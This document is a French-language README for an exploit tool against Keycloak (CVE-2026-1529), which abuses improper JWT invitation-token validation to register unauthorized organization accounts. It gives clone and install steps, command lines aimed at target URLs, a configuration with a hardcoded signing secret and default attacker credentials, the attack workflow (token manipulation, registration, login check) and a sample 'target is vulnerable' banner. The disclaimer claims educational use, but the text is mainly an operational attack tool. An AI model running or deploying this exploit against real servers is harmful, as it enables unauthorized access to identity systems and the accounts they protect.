
Keycloak : Enregistrement d'organisation non autorisé via une validation inappropriée du jeton d'invitation
CVE-2026-1529 : Keycloak - Enregistrement d'organisation non autorisé via une validation incorrecte du jeton d'invitation
⚠️ AVERTISSEMENT : Cet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est illégal.
Cet outil démontre une vulnérabilité critique dans Keycloak (CVE-2026-1529) qui permet un enregistrement d'organisation non autorisé via une validation incorrecte du jeton d'invitation JWT. L'exploit manipule les jetons d'invitation pour obtenir un accès non autorisé aux instances Keycloak.
Détails de la vulnérabilité :
# Cloner le dépôt
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Créer un environnement virtuel
python3 -m venv venv
source venv/bin/activate # Sur Windows : venv\Scripts\activate
# Installer les dépendances
pip install -r requirements.txt
# Créer la structure de répertoires
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# Télécharger les fichiers depuis les versions ou copier manuellement
# Puis installer les dépendances
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # Script d'exploitation principal
├── requirements.txt # Dépendances Python
├── README.md # Ce fichier
├── config/
│ └── default_config.json # Fichier de configuration
├── utils/
│ ├── __init__.py # Initialiseur de paquet
│ ├── http_utils.py # Utilitaires client HTTP
│ ├── jwt_utils.py # Manipulation JWT
│ └── crypto_utils.py # Utilitaires cryptographiques
├── logs/ # Journaux générés automatiquement
└── output/
└── reports/ # Rapports d'exploitation
python3 keycloak-exploit.py https://target-keycloak.com
# Avec un jeton d'invitation personnalisé
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# Avec un ID d'organisation personnalisé
python3 keycloak-exploit.py -o custom_org_id https://target.com
# Avec un fichier de configuration personnalisé
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# Activer les journaux de débogage
python3 keycloak-exploit.py -d https://target.com
# Afficher l'aide
python3 keycloak-exploit.py -h
# Afficher la version
python3 keycloak-exploit.py -v
| Argument | Court | Description |
|---|---|---|
target | - | URL Keycloak cible (obligatoire) |
--token | -t | Jeton d'invitation personnalisé |
--org-id | -o | ID d'organisation personnalisé |
--config | -c | Chemin vers le fichier de configuration |
--debug | -d | Activer les journaux de débogage |
--version | -v | Afficher les informations de version |
--help | -h | Afficher le message d'aide |
Modifiez config/default_config.json pour personnaliser les paramètres d'exploitation :
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
| Section | Paramètre | Description | Défaut |
|---|---|---|---|
exploit | default_username | Nom d'utilisateur pour l'enregistrement | admin_user_2026 |
exploit | default_password | Mot de passe pour l'enregistrement | KeycloakCVE2026! |
exploit | default_email | E-mail pour l'enregistrement | [email protected] |
exploit | timeout | Délai d'expiration des requêtes HTTP (secondes) | 30 |
exploit | max_retries | Nombre maximal de tentatives HTTP | 3 |
jwt | algorithm | Algorithme de signature JWT | HS256 |
jwt | secret_key | Clé secrète JWT | Personnalisé |
jwt | token_expiry | Expiration du jeton (secondes) | 3600 |
L'exploit fonctionne selon les étapes suivantes :
Vérification de la vulnérabilité
Génération/Manipulation du jeton
Enregistrement de l'utilisateur
Vérification de la connexion
Génération du rapport
output/reports/┌─────────────────┐
│ Vérification │
│ cible │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Génération/ │
│ Obtention jeton│
└────────┬────────┘
│
▼
┌─────────────────┐
│ Manipulation │
│ du jeton │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Enregistrement │
│ utilisateur │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Test de │
│ connexion │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Génération │
│ du rapport │
└─────────────────┘
============================================================
RÉSULTATS DE L'EXPLOITATION CVE-2026-1529
============================================================
✓ La cible est vulnérable à CVE-2026-1529